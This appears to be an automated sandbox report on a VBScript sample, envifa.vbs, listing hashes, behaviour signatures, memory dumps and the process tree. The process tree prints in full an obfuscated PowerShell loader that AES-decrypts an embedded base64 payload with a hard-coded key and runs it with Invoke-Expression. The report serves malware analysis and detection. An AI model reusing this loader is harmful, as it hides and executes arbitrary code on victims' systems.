Analysis
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max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
05-12-2023 18:38
Static task
static1
Behavioral task
behavioral1
Sample
envifa.vbs
Resource
win7-20231129-en
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
envifa.vbs
Resource
win10v2004-20231127-en
12 signatures
150 seconds
General
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Target
envifa.vbs
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Size
159KB
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MD5
5b0011526c3005e35e88002cfcf3dff8
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SHA1
5b0b70c2857e84d0abe2b04b0593ccfc49395a8f
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SHA256
043ca2ac861326e01d02af9599b54c8a23b781dda3e9f3c31166885a1f67e401
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SHA512
4af5c688c4c971950724cd706d09d968973fc65f9b69bf5a969900771577b56799e33d3ca2dd0972ff78d06f4751d609711b19ee793c159189981ed07946d989
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SSDEEP
3072:jk+jUIUfUPUgUgUgUgUgUgUgUgUgUgUgUgUgUgUgUgUVUPUdUgUgUgUgUgUgUgUo:XjUIUfUPUgUgUgUgUgUgUgUgUgUgUgUL
Score
1/10
Malware Config
Signatures
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1888 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1888 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
WScript.exedescription pid process target process PID 2924 wrote to memory of 1888 2924 WScript.exe powershell.exe PID 2924 wrote to memory of 1888 2924 WScript.exe powershell.exe PID 2924 wrote to memory of 1888 2924 WScript.exe powershell.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\envifa.vbs"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function Decrypt-AESEncryption{Param([String]$CBGNKODNPÇ,[String]$Keygfhfghfgiy)$OGjnLfnOaç = New-Object System.Security.Cryptography.AesManaged;$OGjnLfnOaç.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OGjnLfnOaç.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$OGjnLfnOaç.BlockSize = 128;$OGjnLfnOaç.KeySize = 256;$OGjnLfnOaç.Key = (New-Object System.Security.Cryptography.SHA256Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Keygfhfghfgiy));$BxwZvbgNLo = [System.Convert]::FromBase64String($CBGNKODNPÇ);$OGjnLfnOaç.IV = $BxwZvbgNLo[0..15];$decryptor = $OGjnLfnOaç.CreateDecryptor();$geLJgUoUQL = $decryptor.TransformFinalBlock($BxwZvbgNLo, 16, $BxwZvbgNLo.Length - 16);$OGjnLfnOaç.Dispose();return [System.Text.Encoding]::UTF8.GetString($geLJgUoUQL).Trim([char]0)}$qROuE = '58417081275505453806';$MqDDxKjJmA = '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';$GmtBWLkcKU = Decrypt-AESEncryption -CBGNKODNPÇ $MqDDxKjJmA -Key $qROuE;Invoke-Expression $GmtBWLkcKU2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/1888-4-0x000000001B710000-0x000000001B9F2000-memory.dmpFilesize
2.9MB
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memory/1888-5-0x0000000001E70000-0x0000000001E78000-memory.dmpFilesize
32KB
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memory/1888-6-0x000007FEF5B90000-0x000007FEF652D000-memory.dmpFilesize
9.6MB
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memory/1888-7-0x0000000002930000-0x00000000029B0000-memory.dmpFilesize
512KB
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memory/1888-8-0x000007FEF5B90000-0x000007FEF652D000-memory.dmpFilesize
9.6MB
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memory/1888-10-0x0000000002930000-0x00000000029B0000-memory.dmpFilesize
512KB
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memory/1888-9-0x0000000002930000-0x00000000029B0000-memory.dmpFilesize
512KB
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memory/1888-11-0x0000000002930000-0x00000000029B0000-memory.dmpFilesize
512KB
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memory/1888-12-0x000007FEF5B90000-0x000007FEF652D000-memory.dmpFilesize
9.6MB